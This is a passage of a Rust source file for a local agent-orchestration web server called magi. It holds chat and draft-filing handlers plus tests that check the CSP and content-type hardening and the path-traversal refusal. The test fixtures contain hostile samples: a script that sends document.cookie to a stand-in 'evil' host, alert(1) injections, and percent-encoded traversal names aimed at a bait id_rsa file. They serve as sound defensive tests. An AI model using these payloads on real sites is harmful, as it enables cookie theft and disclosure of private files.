2686/// The one handler here that is not filesystem work, and therefore the one
2687/// that must not go through [`blocking`]: it spawns an agent CLI and waits tens
2688/// of seconds for a paragraph. Sitting on an executor thread for that long
2689/// would starve the change stream of every other connected phone, which is the
2690/// opposite of what `blocking` is for. It holds no lock across the `await`
2691/// either - the turn slot is a set membership, not a mutex guard - so nothing
2692/// else in the server is delayed by a slow interview.
2693///
2694/// What the operator sees while it runs: a request outstanding for the whole
2695/// turn, with no partial output, because the agent CLIs magi drives return one
2696/// answer at the end rather than a stream. On a phone that means the composer
2697/// stays pending for up to the seat's timeout. There is deliberately no
2698/// progress channel to invent one from; the SSE `chats_rev` bump is the signal
2699/// that the turn landed, and it fires from the file `chat::say` wrote, so a
2700/// phone whose radio slept through the reply still learns about it.
2701///
2702/// A failed turn is still a turn. [`chat::say`] records the operator's message
2703/// and an agent turn explaining the failure before it returns an error, so this
2704/// answers 200 with the conversation: that recorded explanation is the thing
2705/// the operator needs to read, and a 5xx would make the front end show a
2706/// generic banner and hide it. The guard against that being a lie is the turn
2707/// count - if the transcript did not grow, nothing happened and the error is
2708/// reported as one.
2709async fn chat_say(
2710    State(ui): State<Arc<Ui>>,
2711    Path(id): Path<String>,
2712    body: std::result::Result<Json<NewTurn>, JsonRejection>,
2713) -> ApiResult<(StatusCode, Json<ChatView>)> {
2714    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2715    if body.text.trim().is_empty() {
2716        return Err(ApiError::bad_request("say something"));
2717    }
2718
2719    let id = {
2720        let ui = Arc::clone(&ui);
2721        let asked = id.clone();
2722        blocking(move || resolve_chat(&ui.chats, &asked)).await?
2723    };
2724    // Claimed before the chat is loaded, so the record this turn appends to was
2725    // read after the claim and cannot be a snapshot another turn has since
2726    // replaced.
2727    let _turn = ui.begin_turn(&id)?;
2728
2729    let (chat, cfg) = {
2730        let ui = Arc::clone(&ui);
2731        let id = id.clone();
2732        blocking(move || {
2733            let chat = ui.chats.get(&id)?;
2734            let (cfg, _) = Config::discover(&chat.repo, None)?;
2735            Ok((chat, cfg))
2736        })
2737        .await?
2738    };
2739
2740    // The operator's turn is recorded, the agent's turn runs in the background,
2741    // and the response goes back now.
2742    //
2743    // This used to hold the HTTP connection for the whole turn - 23 to 90
2744    // seconds against a real model. On a phone that is a coin flip: a screen
2745    // lock or a network handoff drops the request and the browser reports
2746    // "Failed to fetch", while the server finishes the turn and writes it to
2747    // disk. The operator is then told their message failed when it did not,
2748    // which is the worst of both answers. Every other moving part in magi is
2749    // state on disk plus the change stream; this was the one place that
2750    // depended on a connection staying up, and it did not need to.
2751    //
2752    // The turn guard moves into the spawned task, so a second `say` on the
2753    // same chat still gets a 409 while this one is in flight.
2754    let chats = ui.chats.clone();
2755    let text = {
2756        let mut chat = chat.clone();
2757        let chats = chats.clone();
2758        let said = body.text.clone();
2759        blocking(move || Ok(chat::record(&mut chat, &chats, &said)?)).await?
2760    };
2761    // Re-read so the spawned task appends to the record that now holds the
2762    // operator's turn, rather than to the snapshot taken before it.
2763    let mut chat = {
2764        let ui = Arc::clone(&ui);
2765        let id = id.clone();
2766        blocking(move || Ok(ui.chats.get(&id)?)).await?
2767    };
2768    let queued = chat.clone();
2769    tokio::spawn(async move {
2770        let _turn = _turn;
2771        if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
2772            // `respond` records the failure in the transcript itself, which is
2773            // what the phone reads; this line is for the operator's terminal.
2774            tracing::warn!("chat {id} turn failed: {e:#}");
2775        }
2776    });
2777
2778    // 202: the operator's message is recorded and a turn is running. The front
2779    // end learns the reply from the change stream, the same way it learns
2780    // everything else.
2781    Ok((StatusCode::ACCEPTED, Json(ChatView::from(queued))))
2782}
2783
2784/// The body of `POST /api/chats/{id}/file`, which the phone sends empty.
2785#[derive(Debug, Default, Deserialize)]
2786#[serde(default, deny_unknown_fields)]
2787struct FileDraft {
2788    priority: i32,
2789}
2790
2791/// `POST /api/chats/{id}/file` - validate the agent's draft and queue it.
2792///
2793/// The 400 carries every problem [`chat::draft_problems`] found, as an array
2794/// beside the usual message, because the operator fixing them is on a phone:
2795/// one problem per round trip would mean asking the interviewer to rewrite the
2796/// draft three times for what is one edit.
2797async fn chat_file(
2798    State(ui): State<Arc<Ui>>,
2799    Path(id): Path<String>,
2800    body: std::result::Result<Json<FileDraft>, JsonRejection>,
2801) -> ApiResult<Json<serde_json::Value>> {
2802    // An absent body is the normal case - the front end posts with no content
2803    // type at all - and means the default priority. A body that is present and
2804    // malformed is still a bad request, because silently filing at the wrong
2805    // priority is worse than saying no.
2806    let body = match body {
2807        Ok(Json(body)) => body,
2808        Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
2809        Err(e) => return Err(ApiError::bad_request(e.body_text())),
2810    };
2811
2812    blocking(move || {
2813        let id = resolve_chat(&ui.chats, &id)?;
2814        let mut chat = ui.chats.get(&id)?;
2815        // Asked before filing so the answer can be the whole list. `file_draft`
2816        // applies the same rule and would refuse too, but only with a flattened
2817        // string, and re-splitting an error message to rebuild the list is the
2818        // kind of thing that breaks the day someone adds a comma.
2819        if let Err(problems) = chat::draft_problems(&chat) {
2820            return Err(ApiError::bad_request_with(
2821                "the draft is not fileable yet",
2822                problems,
2823            ));
2824        }
2825        let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
2826        Ok(Json(serde_json::json!({ "task": task })))
2827    })
2828    .await
2829}
2830
2831/// Expand an id or short id to exactly one chat id.
2832fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
2833    pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
2834}
2835
2836/// The configuration for a repository, read off the disk for this request.
2837///
2838/// Through [`blocking`] because discovery reads and merges several TOML files,
2839/// and because the alternative - caching it in [`Ui`] at startup - would mean
2840/// the operator's phone kept interviewing with a roster they had already
2841/// changed, with no way to reload it but restarting the server they are not
2842/// sitting in front of.
2843async fn config_for(repo: &FsPath) -> ApiResult<Config> {
2844    let repo = repo.to_path_buf();
2845    blocking(move || {
2846        let (cfg, _) = Config::discover(&repo, None)?;
2847        Ok(cfg)
2848    })
2849    .await
2850}
2851
2852/// The one prefix rule, used for both runs and tasks: a leading match for a
2853/// full id, a trailing match for the short form an operator reads off a
2854/// report. Written here rather than borrowed from `queue::resolve_id` because
2855/// the UI needs the two failures as different status codes, and telling them
2856/// apart from an error message is not something to build a route on.
2857fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
2858    let mut hits = ids
2859        .into_iter()
2860        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
2861    match (hits.next(), hits.next()) {
2862        (Some(one), None) => Ok(one),
2863        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
2864        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
2865            "`{prefix}` matches more than one {what}, including {a} and {b}"
2866        ))),
2867    }
2868}
2869
2870#[cfg(test)]
2871mod tests {
2872    use pretty_assertions::assert_eq;
2873    use serde_json::Value;
2874    use tempfile::TempDir;
2875    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
2876
2877    use super::*;
2878    use crate::config::Config;
2879    use crate::queue::TaskStatus;
2880
2881    /// A home with a queue and a runs directory, and a router serving it on
2882    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
2883    /// dependency, not ours - so the tests drive a real socket, which has the
2884    /// side benefit of asserting the status line and content types the phone
2885    /// actually receives.
2886    struct Fixture {
2887        home: TempDir,
2888        addr: SocketAddr,
2889    }
2890
2891    impl Fixture {
2892        async fn start() -> Self {
2893            Self::with_loop(launch_idle).await
2894        }
2895
2896        /// A fixture whose loop is `launch`.
2897        async fn with_loop(launch: Launch) -> Self {
2898            let home = TempDir::new().expect("temp home");
2899            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
2900            Self { home, addr }
2901        }
2902
2903        /// A fixture whose `ui.repo` is a real directory rather than the
2904        /// usual placeholder - for the routes that read config off it
2905        /// (`GET /api/repos`) and would otherwise have nothing to discover.
2906        async fn with_repo(repo: PathBuf) -> Self {
2907            let home = TempDir::new().expect("temp home");
2908            let addr = Self::serve(home.path(), repo, launch_idle).await;
2909            Self { home, addr }
2910        }
2911
2912        async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
2913            let queue = Queue::at(home.join("queue"));
2914            let runs = home.join("runs");
2915            std::fs::create_dir_all(&runs).expect("runs dir");
2916            let ui = Ui::new(
2917                queue,
2918                Questions::at(home.join("questions")),
2919                Chats::at(home.join("chats")),
2920                runs,
2921                home.to_path_buf(),
2922                repo,
2923            )
2924            .with_launch(launch);
2925            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
2926                .await
2927                .expect("bind loopback");
2928            let addr = listener.local_addr().expect("local addr");
2929            tokio::spawn(async move {
2930                let _ = axum::serve(listener, ui.router()).await;
2931            });
2932            addr
2933        }
2934
2935        fn queue(&self) -> Queue {
2936            Queue::at(self.home.path().join("queue"))
2937        }
2938
2939        fn questions(&self) -> Questions {
2940            Questions::at(self.home.path().join("questions"))
2941        }
2942
2943        fn chats(&self) -> Chats {
2944            Chats::at(self.home.path().join("chats"))
2945        }
2946
2947        fn runs(&self) -> PathBuf {
2948            self.home.path().join("runs")
2949        }
2950
2951        async fn get(&self, path: &str) -> Res {
2952            request(self.addr, "GET", path, None).await
2953        }
2954
2955        /// The status and headers without the body, which is how the front end
2956        /// preflights a panel: a sandboxed frame is opaque to the parent
2957        /// document, so the only way to tell "no panel" from "a panel that
2958        /// rendered blank" is to ask before mounting.
2959        async fn head(&self, path: &str) -> Res {
2960            request(self.addr, "HEAD", path, None).await
2961        }
2962
2963        async fn post(&self, path: &str, body: Option<&str>) -> Res {
2964            request(self.addr, "POST", path, body).await
2965        }
2966
2967        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
2968            request_with(self.addr, "GET", path, None, extra).await
2969        }
2970
2971        async fn delete(&self, path: &str) -> Res {
2972            request(self.addr, "DELETE", path, None).await
2973        }
2974    }
2975
2976    struct Res {
2977        status: u16,
2978        headers: String,
2979        /// The header block with its original casing, for the assertions that
2980        /// compare a header *value* rather than looking for a name. Lowercasing
2981        /// a CSP would hide a directive spelled with a capital letter, and the
2982        /// whole point of that test is that the string is exactly right.
2983        head: String,
2984        body: String,
2985        /// The body before any UTF-8 handling, for the routes that serve
2986        /// something other than text. A panel asset is a PNG as often as not,
2987        /// and `from_utf8_lossy` would silently replace half of it.
2988        bytes: Vec<u8>,
2989    }
2990
2991    impl Res {
2992        fn json(&self) -> Value {
2993            serde_json::from_str(&self.body)
2994                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
2995        }
2996
2997        /// One header's value verbatim, or `None` when it was not sent.
2998        fn header(&self, name: &str) -> Option<&str> {
2999            self.head.lines().find_map(|line| {
3000                let (key, value) = line.split_once(':')?;
3001                key.trim()
3002                    .eq_ignore_ascii_case(name)
3003                    .then(|| value.trim_start().trim_end_matches('\r'))
3004            })
3005        }
3006    }
3007
3008    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
3009    /// be read to end-of-stream without parsing framing.
3010    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
3011        request_with(addr, method, path, body, &[]).await
3012    }
3013
3014    /// As [`request`], with extra request headers - conditional GETs need
3015    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
3016    /// worse than one that sets none.
3017    async fn request_with(
3018        addr: SocketAddr,
3019        method: &str,
3020        path: &str,
3021        body: Option<&str>,
3022        extra: &[(&str, &str)],
3023    ) -> Res {
3024        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
3025        for (name, value) in extra {
3026            head.push_str(&format!("{name}: {value}\r\n"));
3027        }
3028        if let Some(body) = body {
3029            head.push_str("Content-Type: application/json\r\n");
3030            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
3031        }
3032        head.push_str("\r\n");
3033        if let Some(body) = body {
3034            head.push_str(body);
3035        }
3036        let mut socket = tokio::net::TcpStream::connect(addr)
3037            .await
3038            .expect("connect to the test server");
3039        socket
3040            .write_all(head.as_bytes())
3041            .await
3042            .expect("write request");
3043        let mut raw = Vec::new();
3044        socket.read_to_end(&mut raw).await.expect("read response");
3045        // Split on the raw bytes rather than on a lossy string, so a binary
3046        // body survives to be compared byte for byte.
3047        let split = raw
3048            .windows(4)
3049            .position(|w| w == b"\r\n\r\n")
3050            .expect("a header block");
3051        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
3052        let bytes = raw[split + 4..].to_vec();
3053        let status = head
3054            .lines()
3055            .next()
3056            .and_then(|line| line.split_whitespace().nth(1))
3057            .and_then(|code| code.parse().ok())
3058            .expect("a status line");
3059        Res {
3060            status,
3061            headers: head.to_lowercase(),
3062            head,
3063            body: String::from_utf8_lossy(&bytes).into_owned(),
3064            bytes,
3065        }
3066    }
3067
3068    /// A run on disk, without touching the process-global magi home.
3069    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
3070        let mut state = RunState::new(
3071            PathBuf::from("/repo/magi"),
3072            "main".to_owned(),
3073            "0123456789abcdef".to_owned(),
3074            "Add a web UI\n\nMobile first.".to_owned(),
3075            Config::default(),
3076        );
3077        state.id = id.to_owned();
3078        state.status = status;
3079        let dir = runs.join(id);
3080        std::fs::create_dir_all(&dir).expect("run dir");
3081        std::fs::write(
3082            dir.join("run.json"),
3083            serde_json::to_string_pretty(&state).expect("serialize run"),
3084        )
3085        .expect("write run.json");
3086    }
3087
3088    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
3089        let body = serde_json::json!({
3090            "schema": 1,
3091            "pid": 4242,
3092            "started_at": Timestamp::now().to_string(),
3093            "updated_at": updated_at.to_string(),
3094            "idle": false,
3095            "current": { "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" },
3096            "completed": 7,
3097            "polls": 143,
3098        });
3099        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
3100    }
3101
3102    /// A loop that starts, finds nothing to do, and waits to be told to stop.
3103    ///
3104    /// No test in this file may start the real loop - see [`Ui::launch`] for
3105    /// why - so this stands in for the only thing the routes need a loop to
3106    /// do: keep running until `Stop` is set, then return. A real
3107    /// `serve_until` here would resolve its queue and its status file through
3108    /// the process-global magi home, claim whatever it found in the
3109    /// operator's live backlog, overwrite the status file of the `magi serve`
3110    /// that owns it, and spend real agent quota on a real competition.
3111    fn launch_idle(
3112        _opts: daemon::Opts,
3113        stop: daemon::Stop,
3114    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3115        Box::pin(async move {
3116            while !stop.stopped() {
3117                tokio::time::sleep(Duration::from_millis(2)).await;
3118            }
3119            Ok(())
3120        })
3121    }
3122
3123    /// A loop that fails on the way up, the way one whose home has gone
3124    /// read-only does.
3125    fn launch_broken(
3126        _opts: daemon::Opts,
3127        _stop: daemon::Stop,
3128    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3129        Box::pin(async {
3130            Err(anyhow::anyhow!(
3131                "publish the daemon status file: read-only file system"
3132            ))
3133        })
3134    }
3135
3136    /// The address the parking loop knocks on, and what it heard there.
3137    ///
3138    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
3139    /// capture a fixture's address; this is how it is handed one. Only
3140    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
3141    /// these, so nothing else in this binary can race them.
3142    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
3143    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
3144
3145    /// A loop that, once it is asked to stop, checks the deck still answers
3146    /// before it goes.
3147    ///
3148    /// It stands in for a run mid-node: `finish_loop` waits for this future,
3149    /// so the request it makes is strictly inside the park window - no sleep
3150    /// and no polling needed to be sure of that.
3151    fn launch_knocking_on_the_way_out(
3152        _opts: daemon::Opts,
3153        stop: daemon::Stop,
3154    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3155        Box::pin(async move {
3156            while !stop.stopped() {
3157                tokio::time::sleep(Duration::from_millis(2)).await;
3158            }
3159            let addr = PARK_KNOCK
3160                .lock()
3161                .expect("park knock")
3162                .expect("the test set an address");
3163            let heard = request(addr, "GET", "/api/health", None).await.status;
3164            *PARK_HEARD.lock().expect("park heard") = Some(heard);
3165            Ok(())
3166        })
3167    }
3168
3169    /// The loop view once `want` accepts it.
3170    ///
3171    /// Polled rather than asserted straight after the POST because stopping
3172    /// is deliberately not instant - that is the contract - and rather than
3173    /// slept through because a fixed wait is either flaky or slow. Two
3174    /// seconds is far longer than a stand-in loop needs and still finite, so
3175    /// a genuine hang fails the test instead of hanging the suite.
3176    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
3177        for _ in 0..200 {
3178            let view = fx.get("/api/loop").await.json();
3179            if want(&view) {
3180                return view;
3181            }
3182            tokio::time::sleep(Duration::from_millis(10)).await;
3183        }
3184        panic!(
3185            "the loop never settled: {}",
3186            fx.get("/api/loop").await.json()
3187        );
3188    }
3189
3190    /// File an open question directly in the store the server reads.
3191    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
3192        let store = fx.questions();
3193        let mut q = Question::new(
3194            "20260902-000000-beef".to_owned(),
3195            "implement".to_owned(),
3196            "impl-A".to_owned(),
3197            summary.to_owned(),
3198            "because it matters".to_owned(),
3199            choices.iter().map(|c| (*c).to_owned()).collect(),
3200        );
3201        store.put(&mut q).expect("put question");
3202        q.id
3203    }
3204
3205    /// A question with a panel the server can serve, plus the named assets.
3206    ///
3207    /// Written through `Questions::put_panel` rather than by laying out the
3208    /// directory here, so these tests exercise the same on-disk shape the
3209    /// agents produce and cannot pass against a layout only the tests know.
3210    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
3211        let store = fx.questions();
3212        let mut q = Question::new(
3213            "20260902-000000-beef".to_owned(),
3214            "land".to_owned(),
3215            "fix".to_owned(),
3216            "Merge this?".to_owned(),
3217            "the diff is in the panel".to_owned(),
3218            vec!["merge".to_owned(), "hold".to_owned()],
3219        );
3220        // Staged outside the questions root, because `put_panel` copies from
3221        // wherever the agent left its files.
3222        let staging = fx.home.path().join("staging");
3223        std::fs::create_dir_all(&staging).expect("staging dir");
3224        let sources: Vec<PathBuf> = assets
3225            .iter()
3226            .map(|(name, bytes)| {
3227                let path = staging.join(name);
3228                std::fs::write(&path, bytes).expect("write staged asset");
3229                path
3230            })
3231            .collect();
3232        store
3233            .put_panel(&mut q, html, &sources)
3234            .expect("write the panel");
3235        store.put(&mut q).expect("put question");
3236        q.id
3237    }
3238
3239    /// An interview on disk, without talking to a model.
3240    ///
3241    /// Written as JSON straight into the store the server reads, because the
3242    /// only constructor `chat` offers spawns an agent CLI. The one thing this
3243    /// cannot make up is the seat, so it is built with the real
3244    /// `SeatState::new` and serialized - the alternative, hand-writing that
3245    /// object, would make these tests fail the day the seat gains a field.
3246    fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
3247        let store = fx.chats();
3248        std::fs::create_dir_all(store.root()).expect("chats dir");
3249        let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
3250            .expect("serialize a seat");
3251        let body = serde_json::json!({
3252            "schema": 1,
3253            "id": id,
3254            "repo": "/repo/magi",
3255            "agent": "sonnet",
3256            "status": status,
3257            "turns": [
3258                { "who": "operator", "body": "rework the config loader",
3259                  "at": Timestamp::now().to_string() },
3260                { "who": "agent", "body": "Which part is hurting?",
3261                  "at": Timestamp::now().to_string() },
3262            ],
3263            "draft": draft,
3264            "task": Value::Null,
3265            "created_at": Timestamp::now().to_string(),
3266            "updated_at": Timestamp::now().to_string(),
3267            "seat": seat,
3268        });
3269        std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
3270        // A chat the server cannot parse would make every assertion below a
3271        // 500 that says nothing about the route under test.
3272        store.get(id).expect("the seeded chat has to be readable");
3273        id.to_owned()
3274    }
3275
3276    /// A task file that satisfies `plan::review_draft`, so `POST /file` has
3277    /// something to accept.
3278    fn good_draft() -> String {
3279        "# Rework the config loader\n\n\
3280         ## Why\n\n\
3281         It re-reads `magi.toml` on every lookup, so a run that asks for the \
3282         roster four hundred times pays four hundred parses of the same file.\n\n\
3283         ## What\n\n\
3284         Load the layers once when the run starts and hand the merged value \
3285         around. Nothing about the file format changes.\n\n\
3286         ## Acceptance criteria\n\n\
3287         - `Config::discover` is called exactly once per run.\n\
3288         - `cargo test` passes with no change to any existing assertion.\n"
3289            .to_owned()
3290    }
3291
3292    #[tokio::test]
3293    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
3294        let fx = Fixture::start().await;
3295        let id = panel(
3296            &fx,
3297            "<h1>Merge?</h1><img src=\"diff.svg\">",
3298            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
3299        );
3300
3301        for path in [
3302            format!("/api/questions/{id}/panel"),
3303            format!("/api/questions/{id}/asset/diff.svg"),
3304        ] {
3305            let res = fx.get(&path).await;
3306            assert_eq!(res.status, 200, "{path}: {}", res.body);
3307            // The whole string, not a substring. A weakened directive - an
3308            // `img-src *` that lets a panel beacon out to a remote host, a
3309            // `script-src` anything, a missing `form-action` that lets it post
3310            // the owner's decision to a third party - has to fail here, and a
3311            // `contains` assertion would let every one of those through.
3312            assert_eq!(
3313                res.header("content-security-policy"),
3314                Some(
3315                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
3316                     font-src data:; base-uri 'none'; form-action 'none'; \
3317                     frame-ancestors 'self'"
3318                ),
3319                "{path} is the only thing between a hostile panel and the tailnet"
3320            );
3321            assert_eq!(
3322                res.header("x-content-type-options"),
3323                Some("nosniff"),
3324                "{path}: a browser must not re-decide the type we sent"
3325            );
3326            assert_eq!(
3327                res.header("referrer-policy"),
3328                Some("no-referrer"),
3329                "{path}: a panel must not leak the question id off the machine"
3330            );
3331
3332            // The front end mounts the frame only after a `HEAD` says the
3333            // panel is there, so `HEAD` has to answer with the same status and
3334            // the same policy as `GET` - a preflight that came back without
3335            // the CSP would mean a frame mounted on an unverified promise.
3336            let pre = fx.head(&path).await;
3337            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
3338            assert_eq!(
3339                pre.header("content-security-policy"),
3340                res.header("content-security-policy"),
3341                "{path}: the preflight carries the same policy"
3342            );
3343            assert_eq!(
3344                pre.header("content-type"),
3345                res.header("content-type"),
3346                "{path}: the preflight carries the same type"
3347            );
3348        }
3349    }
3350
3351    #[tokio::test]
3352    async fn a_panel_reaches_the_browser_byte_for_byte() {
3353        let fx = Fixture::start().await;
3354        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
3355        // tag, an entity, and a multi-byte character. The sandbox is what makes
3356        // this safe, so nothing here may be rewritten on the way out - a
3357        // rewritten diff is a diff the owner cannot trust.
3358        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
3359        let id = panel(&fx, html, &[]);
3360
3361        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
3362
3363        assert_eq!(res.status, 200);
3364        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
3365        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
3366        assert_eq!(
3367            res.header("content-disposition"),
3368            None,
3369            "the panel itself is rendered in the frame, not downloaded"
3370        );
3371    }
3372
3373    #[tokio::test]
3374    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
3375        let fx = Fixture::start().await;
3376        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
3377        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
3378        let id = panel(
3379            &fx,
3380            "<img src=\"diff.svg\"><img src=\"shot.png\">",
3381            &[("diff.svg", svg), ("shot.png", png)],
3382        );
3383
3384        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
3385        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
3386
3387        assert_eq!(as_svg.status, 200);
3388        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
3389        // An SVG is XML that may carry script. Inside the panel it is an
3390        // `<img src>` and the script cannot run; opened at the top level it
3391        // would be a document on magi's own origin, so the browser is told to
3392        // download it instead of rendering it.
3393        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
3394
3395        assert_eq!(as_png.status, 200);
3396        assert_eq!(as_png.header("content-type"), Some("image/png"));
3397        assert_eq!(
3398            as_png.header("content-disposition"),
3399            None,
3400            "a raster image has no execution surface, so tapping it still shows it"
3401        );
3402        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
3403    }
3404
3405    #[tokio::test]
3406    async fn an_html_asset_is_never_served_as_html() {
3407        let fx = Fixture::start().await;
3408        let id = panel(
3409            &fx,
3410            "<p>see the notes</p>",
3411            &[
3412                (
3413                    "notes.html",
3414                    b"<script>fetch('http://evil/'+document.cookie)</script>",
3415                ),
3416                ("hook.js", b"fetch('http://evil/')"),
3417                ("data.json", b"{}"),
3418                ("HEADLINE.TXT", b"plain"),
3419            ],
3420        );
3421
3422        for name in ["notes.html", "hook.js", "data.json"] {
3423            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
3424            assert_eq!(res.status, 200, "{name}: {}", res.body);
3425            // Serving this as text/html would be a way to reach agent markup
3426            // at the top level of the operator's browser, outside the frame's
3427            // sandbox and outside its CSP - which is the whole thing the panel
3428            // design exists to prevent. Unlisted types are downloads.
3429            assert_eq!(
3430                res.header("content-type"),
3431                Some("application/octet-stream"),
3432                "{name} must not be a type the browser will execute or render"
3433            );
3434        }
3435        // The whitelist is matched case-insensitively, so an agent shouting the
3436        // extension still gets a readable file rather than a download.
3437        let txt = fx
3438            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
3439            .await;
3440        assert_eq!(
3441            txt.header("content-type"),
3442            Some("text/plain; charset=utf-8")
3443        );
3444    }
3445
3446    #[tokio::test]
3447    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
3448        let fx = Fixture::start().await;
3449        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3450        // Something outside the panel directory that a traversal would reach if
3451        // one got through, so a passing test is not merely "the file was
3452        // missing anyway".
3453        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
3454
3455        // Decoded before this server's handler sees them: axum percent-decodes
3456        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
3457        // string with a NUL in it. All three look like ordinary single-segment
3458        // filenames to the router, so the router passes them through and
3459        // `valid_asset_name` is what refuses them - for the literal `..`, and
3460        // for `/`, `\` and NUL not being in the permitted character set.
3461        for encoded in [
3462            "%2e%2e%2fid_rsa",
3463            "..%2fid_rsa",
3464            "..%5cid_rsa",
3465            "%2e%2e%5cid_rsa",
3466            "diff%00.svg",
3467            "..",
3468            ".hidden",
3469            "%2e%2e%2f%2e%2e%2fid_rsa",
3470        ] {
3471            let res = fx
3472                .get(&format!("/api/questions/{id}/asset/{encoded}"))
3473                .await;
3474            assert_eq!(
3475                res.status, 400,
3476                "`{encoded}` has to be refused by name, not looked up: {}",
3477                res.body
3478            );
3479            assert!(res.json()["error"].is_string(), "{}", res.body);
3480        }
3481
3482        // Not decoded, and never this handler's problem: a real slash makes the
3483        // request one segment too long for `/api/questions/{id}/asset/{name}`,
3484        // so axum's router has no route to match and answers before any code
3485        // here runs. Asserted so that a future route with a wildcard segment
3486        // cannot quietly open this door.
3487        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
3488            let res = fx
3489                .get(&format!("/api/questions/{id}/asset/{literal}"))
3490                .await;
3491            assert_eq!(
3492                res.status, 404,
3493                "`{literal}` must not match the asset route at all: {}",
3494                res.body
3495            );
3496        }
3497    }
3498
3499    #[tokio::test]
3500    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
3501        let fx = Fixture::start().await;
3502        let plain = ask(&fx, "Which backend?", &["SQLite"]);
3503        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3504
3505        // A question nobody wrote a panel for. The client preflights with HEAD
3506        // and cannot see inside a sandboxed frame, so this must be a status and
3507        // not an empty page.
3508        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
3509        assert_eq!(none.status, 404, "{}", none.body);
3510        assert!(none.json()["error"].is_string(), "{}", none.body);
3511        assert_eq!(
3512            fx.head(&format!("/api/questions/{plain}/panel"))
3513                .await
3514                .status,
3515            404,
3516            "the preflight is the only way the client can learn this"
3517        );
3518
3519        // A name that is perfectly legal and simply is not there.
3520        let missing = fx
3521            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
3522            .await;
3523        assert_eq!(missing.status, 404, "{}", missing.body);
3524        assert!(missing.json()["error"].is_string(), "{}", missing.body);
3525
3526        // A question that does not exist at all, on both routes.
3527        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
3528        assert_eq!(
3529            fx.get("/api/questions/nope/asset/diff.svg").await.status,
3530            404
3531        );
3532    }
3533
3534    #[tokio::test]
3535    async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
3536        let fx = Fixture::start().await;
3537        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3538
3539        interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
3540        interview(&fx, "20260903-014456-open", "open", None);
3541
3542        let listed = fx.get("/api/chats").await;
3543        assert_eq!(listed.status, 200, "{}", listed.body);
3544        let chats = listed.json();
